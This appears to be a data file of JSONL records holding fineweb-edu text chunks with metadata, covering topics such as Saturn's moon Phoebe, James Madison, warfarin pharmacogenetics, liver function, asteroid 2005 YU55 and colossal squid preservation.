13, 377 kilometers ) from phoebe when this image was taken. photo by nasa / jpl / ciclops | may 16, 2005 | saturn ' s outermost moon, phoebe, remains a mystery. its eccentric, tilted orbit, opposite saturn ' s spin, suggests it didn ' t form alongside saturn ' s other satellites. two new studies using the cassini - huygens probe have essentially confirmed this theory. the independent studies tag the kuiper belt, on the fringes of the solar system, as phoebe ' s likely birthplace, but the case is far from closed. just before inserting itself into orbit around saturn, cassini cruised to within 1, 250 miles ( 2, 000 kilometers ) of phoebe, providing astronomers with a unique chance to study the battered moonlet. near closest approach, cassini captured this view of an 8 mile ( 13 kilometer ) wide crater with a debris - covered floor. radial streaks on the crater walls are due to ejacta fragments sliding down the slope. boulders ranging in size from about 160 to 990 feet ( 50 to 300 meters ) wide are also visible. they may have been excavated by large impacts, perhaps from some other region of phoebe. there is no visible evidence for layering in this region, as on other parts of this moon. photo by nasa / jpl / ciclops torrence johnson, at the jet propulsion laboratory in pasadena, california, and jonathan lunine, at the university of arizona ' s lunar and planetary laboratory, used deviations in cassini ' s course caused by phoebe ' s gravitation to calculate phoebe ' s mass and density. they found that the 140 - mile ( 220 km ) wide satellite weighs 1, 630 kilograms per cubic meter. this clearly separates phoebe from saturn ' s other moons, which have an average density of just 1, 300 kg / m3. \" it ' s a pretty dense object, especially considering that it is likely to be somewhat porous, \" lunine told astronomy. phoebe ' s density closely matches that of two outer solar - system objects ( after adjusting for the extent to which their greater mass compresses them ) \u2014 pluto, now firmly identified as a kuiper belt object (", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4846403393338161, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.183672"} {"text": "\" lunine told astronomy. phoebe ' s density closely matches that of two outer solar - system objects ( after adjusting for the extent to which their greater mass compresses them ) \u2014 pluto, now firmly identified as a kuiper belt object ( kbo ), and neptune ' s moon triton, which likely started life in the kuiper belt before being captured by neptune. johnson and lunine conclude that phoebe appears to have \" a composition identical to that of the only kuiper belt objects for which we possess densities. \" both studies appeared in the may 5 issue of nature. \" some kuiper belt objects were scattered in, \" lunine explains. \" one such rock - ice body, phoebe, happened to be captured by saturn ' s gravity. \" lunine ' s views gain support from a study of phoebe ' s surface led by roger clark of the u. s. geological survey in denver, colorado. using cassini ' s visible and infrared mapping spectrometer, his team identified dozens of chemicals on phoebe, including ice, carbon dioxide, iron - and carbon - based substances, and cyanide compounds. phoebe ' s cyanide signature has been detected on just two other solar - system objects, comet borrelly and the dark face of iapetus, saturn ' s outermost large moon. brad dalton of nasa ' s ames research center at moffett field, california, thinks the density and spectroscopic studies together make a strong case for phoebe ' s origin as a kbo. \" while this is not incontrovertible proof \u2026 the independent findings of both groups give a very consistent picture, \" he says. \" while i think the clark et al. compositional analysis is very strong, the two sets of analyses taken together is what is really convincing. \" \" what is clear, \" dalton says, \" is that phoebe falls into a class of objects that now populates the outermost reaches of the solar system, including the kuiper belt. \" clark remains cautious about phoebe ' s origins, but he has no doubts about the value of the new cassini findings. \" the detection of carbon dioxide and the cyanide compounds were very unexpected, \" he says. \" we didn ' t think phoebe would be this exciting. \" look for this icon. this denotes premium subscriber content. learn more \u00bb", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5002140473318519, "token_count": 483, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.184603"} {"text": "1809 - 1817 1810 \u2013 mexican revolution begins. an eleven year fight for mexico ' s independence from spain. mining, ranching and missions prosper and spanish troops continue the long battle with the apache. james madison was born in virginia in 1751. he graduated from princeton and was active in virginia politics and in the continental congress. he was an influential member of the along with alexander hamilton and john jay, he wrote the federalist papers. president jefferson appointed james madison as his secretary of state dolley payne madison, born in 1768, is one of the best known and best loved of the first ladies. she grew up in philadelphia in the strict discipline of the society of friends. she was a young widow with one son in 1794, when she married james madison, who was 17 years older than she. theirs was a happy marriage, though they had no children. in 1809 president james madison succeeded jefferson as president. madison was re - elected in 1812. tensions with britain culminated in the war of 1812 for which madison and the nation were not united or prepared. in 1814, the british captured washington, forcing madison to flee to virginia. during the bombardment of fort mchenry by the british francis scott key was inspired to write a poem that would eventually supply the lyrics to \" the star spangled banner \". although no territories were gained or lost during the war of 1812, nationalism soared and there was a newfound sense of unity after the victories by the u. s. navy and at the battle of new orleans. on leaving the white house, madison retired to virginia where he died in 1836. after marrying james madison, dolley put aside her somber quaker dress and chose the newest fashions while in the white house. she was famous for her social graces and political acumen. when forced to flee the white house in 1814, she saved the portrait of george washington from the british. after madison ' s death in virginia, she returned to washington, where she died in 1849. click tabs to swap between content that is broken into logical sections. the mohave museum of history and arts grants educators and individuals permission to use this material for research, teaching, and study provided the source of the material is credited to the mohave museum of history and arts. this permission does not extend to use for copying for distribution, resale or inclusion in other publications. contact firstname. lastname @ example. org for further information.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4394334976315489, "token_count": 488, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.188261"} {"text": "image via wikipedia warfarin ( marketed under brand names like coumadin, jantoven, marevan, and waran ) is a drug that inhibits blood clotting \u2013 the formation of insoluble fibrin clots which stops bleeding. the drug is used to prevent / treat thrombosis \u2013 the formation of blood clots that can cause life threatening damage ( through clogging of blood vessels ). since the natural clotting ability is inhibited with this drug, serum concentrations elevated above the intended level can lead to severe side effects \u2013 life - threatening bleeding complications. consequently, monitoring of patients using warfarin is critical. some patients are at higher risk than others, and pharmacogenetic analysis can identify individuals that are either overly sensitive to the drug or metabolize the drug inefficiently. both these conditions leaves the patient in risk of complications. such patients should be monitored carefully and a reduced warfarin dose is usually strongly recommended. metabolism through cytochrome p450 ( cyp450 ) enzymes displays individual variation for many classes of drugs, so also for warfarin. cyp 450 pharmacogenetics will be covered in a separate post. this post will focus on the biochemistry of oversensitivity to warfarin which can be described as follows : blood clotting is a multistep process involving a number of proteins and co - factors ( see image above ). warfarin inhibits the maturation ( post translational modification ) of some of these proteins, clotting factors ii, vii, ix and x. unmodified, these factors will not function properly and the formation of the insoluble fibrin clot is inhibited. the post translational modification in question is carboxylation, and it uses vitamin k as a co - factor image from : vita kbv vitamin k is decarboxylated in the process and needs to be recycled. the enzyme vitamin k - epoxide reductase ( vkorc ) is essential in this cycle. it is this re - carboxylation by vkorc that is inhibited by warfarin. image from : linus pauling institute, oregon state university warfarin mode of action summary : more warfarin leads to less carboxylated vit k. consequently less factor ii, vii, ix and x is carboxylated and inhibition of clotting occurs. vkorc \u2019 s", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.448531943725039, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.192103"} {"text": "##farin mode of action summary : more warfarin leads to less carboxylated vit k. consequently less factor ii, vii, ix and x is carboxylated and inhibition of clotting occurs. vkorc \u2019 s susceptibility for binding warfarin varies between individuals, and this is the basis for the pharmacogenetic assays. from wikipedia : polymorphisms in the vitamin k epoxide reductase complex 1 ( vkorc1 ) gene explain 30 % of the dose variation between patients : particular mutations make vkorc1 less susceptible to suppression by warfarin. there are two main haplotypes that explain 25 % of variation : low - dose haplotype group ( a ) and a high - dose haplotype group ( b ). for the three combinations of the haplotypes, the mean daily maintenance dose of warfarin was : - a / a : 2. 7\u00b10. 2 mg - a / b : 4. 9\u00b10. 2 mg - b / b : 6. 2\u00b10. 3 mg vkorc1 polymorphisms also explain why african americans are relatively resistant to warfarin ( higher proportion of group b haplotypes ), while asian americans are more sensitive ( higher proportion of group a haplotypes ). vkorc1 polymorphisms lead to a more rapid achievement of a therapeutic inr, but also a shorter time to reach an inr over 4, which is associated with bleeding. contributing to haplotype group a is a polymorphism in the regulatory region of the vkorc - gene. the a - allele of this snp decreases the activity of the vkorc - promoter ( less mrna \u2013 less protein \u2013 higher proportion of total vkorc protein affected ) and subsequently increases warfarin sensitivity ( see omim for more ). this polymorphism ( or ones in linkage with it ) is normally among the snps that are tested for in the lab. to conclude, identifying individual genetic variations allow us to predict protein variations that in turn predict sensitivity to certain drugs. in the case of warfarin such pharmacogenetic analysis can be life saving.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4661480869611668, "token_count": 458, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.193336"} {"text": "introducing the liver \u2026 part 1 part one in our liver series, bp starts with giving the liver the once over \u2013 what does it do, how does it do it and gives a starting point from which to understand other liver issues such as hepatitis b, c, cirrhosis, fibrosis etc. the liver is the largest internal organ. it is reddish - brown, weighs approximately three pounds ( in the adult male ) and is about the size of a football. it is located behind the ribcage on the upper right side of the abdomen. the liver has the unique ability to regenerate its own tissue - as much as three - quarters of the liver can be lost, and the organ can grow back within several weeks. this allows people who need transplants to receive part of the liver of a living donor. the liver is divided into four lobes ; these are in turn composed of multiple lobules, which contain the hepatocytes, or working liver cells. the liver has an extensive blood supply, receiving oxygen rich blood from the hepatic artery. the portal vein delivers blood containing nutrients, toxins, and other substances absorbed from the intestines to the liver. the liver filters this blood, then sends it on to the heart via the hepatic vein. functions of the liver the liver is responsible for some 500 bodily functions. it plays a role in digestion, sugar and fat metabolism, and the body \u2019 s immune defense. it processes almost everything a person eats, breathes, or absorbs though the skin. about 90 % of the body \u2019 s nutrients pass through the liver from the intestines. the liver converts food into energy, stores nutrients, and produces blood proteins. the liver also acts as a filter to remove pathogens and toxins from the blood. in the developing fetus, blood cells are produced in the liver. the liver plays an important role in the digestion and processing of food. liver cells produce bile, a greenish - yellow fluid that aids the digestion of fats and the absorption of fat - soluble nutrients. bile is delivered to the small intestine through the bile duct ; when there is no food to digest, extra bile is stored in a small organ called the gallbladder located beneath the liver. byproducts from the breakdown of drugs and toxic substances processed by the liver are carried in the bile and excreted from the body. a person with a damaged liver may experience impaired bile production and flow. when this happens, the body may", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4598413309045854, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.202710"} {"text": "byproducts from the breakdown of drugs and toxic substances processed by the liver are carried in the bile and excreted from the body. a person with a damaged liver may experience impaired bile production and flow. when this happens, the body may not be able to properly absorb nutrients. liver cells also convert heme ( a component of hemoglobin that is released when red blood cells are broken down ) into bilirubin. when the liver is damaged, bilirubin may build up in the blood, causing jaundice ( yellowing of the skin and whites of the eyes ). the liver carries out many metabolic functions, providing the body with the energy it needs. it regulates the production, storage, and release of sugar, fats, and cholesterol. when food is eaten, the liver converts glucose ( blood sugar ) into glycogen, which is stored for later use. when energy is needed, the liver converts glycogen back into glucose in a process called gluconeogenesis. the liver regulates the storage of fats by converting amino acids from digested food into fatty acids such as triglycerides ; when the body does not have enough sugar, the liver converts fatty acids into ketones, which can be used for fuel. the liver also controls the production, metabolism, and excretion of cholesterol, which is an important component of cell membranes and certain hormones. the liver stores several nutrients, including vitamins a, d, b9 ( folate ), and b12. it also stores iron and plays a role in converting iron into heme, a component of hemoglobin ( the oxygen - carrying molecule in red blood cells ). \u201c the hardworking and often misunderstood liver performs over 500 bodily functions, processing everything that you eat, breathe and absorb through your skin. \u201d the liver synthesizes ( builds ) several important proteins, including enzymes, hormones, clotting factors, and immune factors. liver enzymes called amino transferases or transaminases ( alt and ast ) break down amino acids from digested food and rebuild them into new proteins needed by the body. when liver cells are damaged, these enzymes can leak out and build up to high levels in the blood ; these enzymes can be measured using a simple blood test. several of the proteins synthesized by the liver are needed for proper blood functioning. these include various binding proteins ( which bind and transport substances such as vitamins, minerals, hormones, and fats ) and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5051436320608004, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.203934"} {"text": "enzymes can be measured using a simple blood test. several of the proteins synthesized by the liver are needed for proper blood functioning. these include various binding proteins ( which bind and transport substances such as vitamins, minerals, hormones, and fats ) and albumin ( a protein that helps maintain proper blood volume ). clotting factors produced by the liver include fibrinogen, prothrombin ( factor ii ), and factor vii. these enable the blood to clot following an injury ; low levels can lead to prolonged bleeding and easy bruising. other proteins synthesized by the liver include alkaline phosphatase, gamma - glutamyl transferase ( ggt ), and insulin growth factor. the liver plays a crucial role in detoxifying substances that are harmful to the body, including alcohol, drugs, solvents, pesticides, and heavy metals. when a person is exposed to high levels of these chemicals, the liver can become overwhelmed. toxins are delivered to the liver by the portal vein. the liver processes these chemicals and excretes them in the bile. the liver also processes and excretes toxic byproducts of normal metabolism ( such as ammonia ) and excess hormones ( in particular, sex hormones such as estrogen ). many drugs - including common over - the - counter drugs such as acetaminophen ( tylenol ), most anti - hiv drugs, and certain herbal remedies - are processed by the liver and can cause liver damage. people should be especially cautious about combining multiple drugs or herbs. if the liver is damaged it may not be able to break down and excrete drugs efficiently, which could potentially lead to dangerously high blood levels and intensified side effects. chronic hepatitis c or b, heavy alcohol use, and other factors can lead to serious liver damage. given how many vital functions the liver performs, it is not surprising that liver injury can have an affect on almost all body systems, including the digestive, endocrine, cardiovascular, and immune systems. as the liver sustains damage, normal liver tissue becomes fibrous ( fibrosis ), fatty ( steatosis ), and scarred ( cirrhosis ). if the liver becomes too heavily damaged, it isno longer able to carry out its normal functions. in compensated cirrhosis, the liver is scarred but can still function relatively normally. in decompensated cirrhosis, the liver has sustained so much damage that it is unable to function properly. scar tissue", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4452241201038712, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.205259"} {"text": "in the letter to the church at smyrna, a church which only received commendation from the lord, jesus said, \u201c be faithful until death, and i will give you the crown of life \u201d ( rev. 2 : 10, nkjv ). the word rendered crown is the greek term stephanos. w. e. vine observes that this word denotes ( a ) \u201c the victor \u2019 s crown, \u201d the symbol of triumph in the games or some such contest ; hence, by metonymy, a reward or prize ; ( b ) \u201c a token of public honor \u201d for distinguished service, military prowess, etc., or of nuptial joy, or festal gladness, especially at the parousia of kings. it was woven as a garland of oak, ivy, parsley, myrtle, or olive, or in imitation of these in gold. in some passages the reference to the games is clear, 1 cor. 9 : 25 ; 2 tim. 4 : 8 ( \u201c crown of righteousness \u201d ) ; it may be so in 1 pet. 5 : 4, where the fadeless character of \u201c the crown of glory \u201d is set in contrast to the garlands of earth. in other passages it stands as an emblem of life, joy, reward and glory, phil. 4 : 1 ; 1 thess. 2 : 19 ; jas. 1 : 12 ( \u201c crown of life \u201c ) ; rev. 2 : 10 ( ditto ) ; 3 : 11 ; 4 : 4, 10 : of triumph, 6 : 2 ; 9 : 7 ; 12 : 1 ; 14 : 14. it is used of \u201c the crown of thorns \u201d which the soldiers plaited and put on christ \u2019 s head, matt. 27 : 29 ; mark 15 : 17 ; john 19 : 2, 5. at first sight this might be taken as an alternative for diadema, \u201c a kingly crown \u201d ( see below ), but considering the blasphemous character of that masquerade, and the materials used, obviously diadema would be quite unfitting and the only alternative was stephanos ( see trench syn. sec. xxxii ). \u00b6 our photo features a close up of the head of a running athlete and dates back to the late hellenistic period. this statue was retrieved from the agean sea off the coast of kyme, and is displayed at the izmir museum ( biblical smyrna ). sometimes the question is raised as to whether jesus meant to", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49261855352995365, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.208445"} {"text": "the \u2018 green economy \u2019 may contribute to achieving a greener and fairer world. however, there are several barriers to overcome first. the green economy should be tamed and guided by principles of equity, respect and shared responsibility. find out more about the green economy > > based on our experience in mindanao, one of the biggest barriers in realising the vision of a fairer world is the continuing control and dominance of global corporations, which prioritise profit over sustainable and equitable development. governments, especially in developing countries like the philippines, have difficulty making global corporations accountable to national laws and international standards. there is no doubt that global corporations are among the key drivers of change in the world today. however, the drive for profit had put serious strain to the world \u2019 s resources and added tension to local culture, politics and livelihoods. to some extent they have even deprived communities of their safety and of livelihoods which are dependent on these natural resources. the present global economy is fuelled by an endless demand for growth, the alter - ego of profit. we need to reshape global economy to ensure greater equity and environmental sustainability. our key challenge is how to shift from an economic system \u2013 based on the notion of unlimited growth \u2013 to one that is both ecologically sustainable and socially just. i have no doubt about the important role played by corporations in the global economy in the last 200 years. global corporations operate in many countries, but decisions are made by a few people sitting in offices in big cities in developed countries. the decisions made here in london may cause devastating effects to local livelihoods, yet no one here knows what is happening on the ground. in order to achieve sustainable development goals, the un should adopt clear and enforceable rules and standards, not just voluntary standards for global companies operating in the developing countries. these standards should be harmonised with existing enforceable agreements. the present world economy is driven by heavy industry and plantation agriculture which marginalises small - scale rural producers. yet, small - scale agriculture enables millions of people in poverty all over the world to support themselves. there is a troubling tendency for food and agriculture to be subsumed into a wider \u2018 environmental \u2019 agenda that ignores the recurring global food crises and the links between industrial agriculture and climate crisis. the importance of agriculture, and especially the role of small - scale producers, must be central to any discussions of a green economy. their voices have to be listened to if we want the green economy to really address poverty. i hope rio + 20 wakes up national governments", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4263447075421486, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.216098"} {"text": "by christine ennulat, childfund international liberia \u2019 s 13 years of civil war ended in 2003. nine years later the effects of war linger. in post - conflict societies, children are the ones who suffer the most as their parents struggle to rebuild shattered homes and livelihoods. often, children come to be viewed as burdens, or even commodities. they became at risk for exploitative child labor, domestic violence and other abuses. healing has been slow. liberia \u2019 s poverty reduction strategy of 2008 includes a statement that speaks volumes : \u201c a whole generation of liberians has spent more time at war than in the classroom. \u201d some years after childfund began work in liberia in 2003, staff began to realize that, despite the ongoing rebuilding of liberia \u2019 s decimated education system, young children ages 5 to 8 were not enrolling at the rate they should, and those who did were not staying in school. in may 2010, childfund began a program called participatory research and learning ( parler ) to identify the obstacles to school attendance in 25 communities and try to remove them. the program is funded by the union de banques suisses. the centerpiece of parler is training older teens to facilitate participatory exercises ( e. g., fun, animated games ) with 5 - to 8 - year - olds to learn what keeps them from school. the exercises help children identify problems in their communities, prioritize them, analyze solutions and plan for the future. martin hayes, childfund \u2019 s child protection specialist who helped launch the program, says, \u201c in the long run, this helps build skills and leadership of the youth. \u201d and it inspires older children to look out for the younger ones. what kept the younger children from school, the youth learned, included bullying and harsh corporal punishment in the classroom. girls faced the additional obstacle of parents keeping them home to do housework or prioritizing their brothers \u2019 educations over theirs. some of the children also would go to the nearby nigerian peacekeepers \u2019 base to beg instead of going to school. acting as advocates for the younger children, the youth brought these concerns to special committees focused on children \u2019 s needs. childfund has trained adult members of the committees to respond as appropriate, whether counseling parents or calling in authorities. by july 2011, according to an external evaluation commissioned by the bernard van leer foundation, 1, 234 5 - to 8 - year - olds had been involved in parler sessions. school enrol", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44541016561875457, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.219185"} {"text": "today \u2019 s the big day, when asteroid 2005 yu55 will pass within about 200, 000 miles ( and come slightly closer to the moon tomorrow ) of our fair planet. this closeness of the approach can be seen in the short movie below ( click it to activate ). the very dark asteroid is estimated to measure about 400 meters across. here \u2019 s a photo of the rock as it sped through space in our direction yesterday. it \u2019 s a pretty good shot considering the rock was still more than 600, 000 miles away at the time. we \u2019 re all familiar with asteroids presenting end - of - the - world scenarios because of movies like armageddon, in which a \u201c texas \u201d - sized asteroid threatened earth. this, of course, is laughable because texas is about 1, 400 kilometers across and the largest known asteroid in the solar system, ceres, measures just 900 km in diameter. for a deeper dissection of armageddon \u2019 s scientific flaws, see here. ( side note : the final scene of armageddon offers an interesting take on the russian approach to fixing mechanical problems with spaceflight equipment, especially in light of sunday night \u2019 s launch of a soyuz spacecraft. but i digress. ) anyway, it wouldn \u2019 t take an asteroid the size of texas to cause a global catastrophe. according to nasa an asteroid would need to have a diameter in excess of 2 km to pose planetary - wide environmental consequences. and 2005 yu55 is much smaller than that. which is not to say it would not have an impact. so what would happen if yu55, traveling relative to earth at a velocity of 30, 000 mph, struck the planet? bad things, but not catastrophic things unless you \u2019 re living underneath the impact. just for fun, let \u2019 s say it hit land about 100 miles west of houston ( it was nice knowing you, schulenburg ). this particular asteroid would probably produce a crater about 4 miles across. if it hit 100 miles from houston it would produce a wind moving through the city at about 35 mph, and make a noise something like very loud traffic. we would also experience seismic shaking equivalent to about a 6. 8 magnitude earthquake. there would be some dust. if you \u2019 re planning ahead, for those living in katy, be sure to evacuate toward the east. you can model your own asteroid impact effects at the delightful impact : earth! website.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46401636373013383, "token_count": 487, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.222423"} {"text": "solar power may be getting more flexible a solar panel and a yoga mat not often appear in the same sentence. but future solar panels have been compared to mats as a new technology promises to deliver amazing flexibility and efficiency within five years. according to a report on boston. com, microcontinuum, a company based in cambridge, is developing in partnership with three universities what it calls \u2018 nantennas \u2019, which are designed to collect more solar power than existing solar cells. what the company envisages is a thin, flexible sheet that is cheap to produce. \u201c imagine a roll - up sheet, like a yoga mat, that you can toss over any structure, or roof tiles whose outermost layers are laced with nantennas \u201d, the website wrote. according to the university of missouri, one of the partners, they would be able to collect 90 percent of available light. \u201c our overall goal is to collect and utilize as much solar energy as is theoretically possible and bring it to the commercial market in an inexpensive package that is accessible to everyone, \u201d professor patrick pinhero, an associate professor in the mu chemical engineering department, said in a statement. article by antonio pasolini, a brazilian writer and video art curator based in london, uk. he holds a ba in journalism and an ma in film and television. | tags : efficiency microcontinuum nantennas solar solar cells solar energy solar panel | | [ permalink ] |", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5173247947350583, "token_count": 294, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.224344"} {"text": "tablets to takeover teaching? \u201c given tablets but no teachers, ethiopian children teach themselves \u201d classrooms are changing. technological advances are transforming the way that children learn, or at least are taught. this is happening fast \u2013 there are dramatic differences between my school experience and that of someone only 5 years younger. my french teacher used chalk and a blackboard to teach us our verbs, something which now seems positively prehistoric, although some teachers were more high - tech and favoured the overhead projector. it is widely acknowledged that technology can aid learning : houghton mifflin harcourt demonstrated that children who learn from an ipad version of a textbook compared to a standard paper version can score up to 20 % higher on standardised tests. through engaging children and capturing their attention with colours, videos and games, technology can improve learning with the same content just in a different format. but this applies in a school setting with teachers, so what if there are no schools and no teachers? can technology help children to teach themselves? the organisation \u2018 one laptop per child \u2019 ( olpc ) has teamed up with mit to give children in ethiopia motorola xoom tablet pcs. in villages with no schools and near 0 % literacy rates they distributed solar powered tablets in unlabeled boxes with no instructions and monitored the results. \u201c within four minutes, one kid not only opened the box, found the on - off switch \u2026 powered it up. within five days, they were using 47 apps per child, per day. within two weeks, they were singing abc songs in the village, and within five months, they had hacked android \u201d nicholas negroponte. so did it succeed? can children teach themselves? they taught themselves how to use the tablets and even how to hack into android but it is as yet unclear whether they will teach themselves to read and write. the fact that the tablets are in english rather than their own language probably won \u2019 t help. but even if the children do learn to read and write, to say that the children have \u2018 taught themselves \u2019 is not strictly true. they may not have been taught by a ruler toting, glasses wearing, librarian - esque old woman but instead they are being taught by app designers and content devisors \u2013 the people who wrote and selected the \u201c preloaded alphabet - training games, e - books, movies, cartoons, paintings, and other programs \u201d. tablets were chosen over laptops because of their intuitive usability which captures and works with the natural curiosity of children. features which seem intuitive to the user are heavily designed and the fact", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.37346969759861065, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.228758"} {"text": "french artist henri rousseau was born on this day in 1844. his still life the pink candle ( 1908 ), acquired by duncan phillips in 1930 along with notre dame ( 1909 ), is currently on view upstairs in the original phillips house as part of jeanne silverthorne \u2019 s vanitas! project for the intersections series. the little painting hangs to the right of a doorway framing silverthorne \u2019 s tour de force in silicone rubber \u2013 dna candelabra ( showing the beginning genetic sequence for depression, anxiety, addiction, anger, and panic ) on rubber crate ( 2007 ). henri rousseau, the pink candle, 1908. oil on canvas, 6 3 / 8 x 8 3 / 4 in. the phillips collection, washington, d. c. acquired 1930. installation view of rousseau \u2019 s the pink candle in conversation with jeanne silverthorne \u2019 s work in vanitas! on view through june 2 as part of the intersections series. photo : lee stalsworth installation view of jeanne silverthorne \u2019 s dna candelabra ( showing the beginning genetic sequence for depression, anxiety, addiction, anger, and panic ) on rubber crate, 2007. platinum, silicone rubber, and phosphorescent pigment, overall 64 x 60 x 47 in. courtesy artist and mckee gallery, new york. photo : lee stalsworth", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5049721968768828, "token_count": 272, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.230518"} {"text": "a recent study from the university of chicago sheds new light on the widespread, yet under - investigated, phenomenon of anxiety surrounding math performance. researchers found that students reported feelings of fear and worry about math as early as first grade and that this fear affected the performance of high - achieving students disproportionately. whereas a child with less math ability might employ strategies such as finger - counting to work through problems, gifted students rely more on their extensive working memory \u2014 a cognitive process that is disrupted when they feel anxiety. according to the study, about half of high - achieving students experience medium to high levels of math anxiety, typically setting their math achievement almost half a school year behind their less anxious peers. there is, however, some good news for parents and educators \u2014 math performance can improve when gifted students are taught to regulate or reframe their anxiety. the researchers suggest two methods of helping children overcome their fears : expressive writing and facilitating an emotional shift. having students write about their math - related worries ahead of time can help ease the burden and free their working memory for doing math. additionally, the attitudes of the adults in their lives can influence students to shift their anxiety into more productive feelings, such as anticipation or excitement. the key lies in presenting math as an enjoyable challenge rather than a potential source of stress ; parents should model positive attitudes toward math in the home from the time their child is young. bedtime math is a great resource for parents hoping to increase their child \u2019 s comfort level with the discipline, as it aims to transform math from a school chore to a family bonding activity.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5383130685928406, "token_count": 321, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.234691"} {"text": "specimens in museum collections are usually preserved in a 70 per cent aqueous solution of ethyl alcohol or in a 2 - 4 per cent solution of formaldehyde ( 5 - 10 per cent formalin ). the great disadvantages of ethyl alcohol are that it is flammable, it volatilizes very readily, it tends to produce precipitates from sea - water, and it causes shrinkage of many specimens. although formalin is not flammable, and it evaporates less rapidly than ethyl alcohol, precautions to prevent desiccation are still necessary ; and it has the further disadvantage that it tends to oxidize to formic acid, which may dissolve calcareous structures, and it has a very strong smell and is toxic. both ethanol and formalin cannot be used in large volumes in public galleries because of the hazardous nature of the chemicals. so in order to display our colossal squid we will be using a glycol solution with an antimicrobial preservative to prevent microbial growth. we have been experimenting with smaller specimens in jars. initial results indicate the system will work quite well \u2013 although there has been some discoloration, replacing the mix with a second fresh glycol solution does not result in more leaching of the colour, so our plan to replace the glycol before the specimen goes on display should work! specimens have been preserved for months or years in glycol, but nobody has tried preserving such a large ( 495 kg ) specimen in glycol before, so this is quite a learning curve for us! the glycol will be diluted to between 20 - 30 % with water. to prevent the growth of microorganisms ( which could happen as the mixture contains sufficient water to support microbes ) we will add a small quantity of dowanol preservative. this will allow us to have 5, 000 litres of liquid in the public galleries, while meeting safety and health requirements. another concern is that if the soultion becomes acidic the hooks and sucker rings will be dissolved \u2013 to prevent this happening we will \u2018 buffer \u2019 the solution with limestone chips to keep the ph neutral. although glycol has been used successfully for long term storage of specimens on a small scale, the use of large quantities for the colossal squid is in many ways experimental, and one reason why we will be monitoring the specimen constantly while it is on display.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5029644165228331, "token_count": 494, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.237301"} {"text": "the world is watching japan, which, in the wake of a devastating earthquake, is trying to prevent the total meltdown of multiple nuclear reactors. escaping radiation from the plants has created an ever - widening evacuation zone. will radioactivity from the plants reach the united states? yes, it appears so. it may even reach atlanta, but the amount of radiation will be so tiny it won \u2019 t affect human health, according to u. s. officials. \u201c basic physics and basic science tells us there really can \u2019 t be any harm to anyone here in the united states or hawaii or any territories, \u201d said gregory jaczko, chairman of the nuclear regulatory commission. trace amounts will likely waft over the west coast friday, according to this new york times animation. wsb radio \u2019 s weather guru kirk mellish provides info on his blog that indicates the remnants of the radioactive plume could travel the 7, 600 miles to atlanta in 15. 9 days. that means it would be here march 28. despite expert opinion that the radiation will have no effect on public health, americans have bought every nukepill available. \u201c people are terrified, \u201d said alan morris, president of anbex inc., of williamsburg, va., in the washington post. \u201c we \u2019 re getting calls from people who are crying and saying things like, \u2018 please. can \u2019 t you help me? can \u2019 t you send me anything? \u2019 \u201d", "subdomain_id": "subdomain_quantum_mechanics", 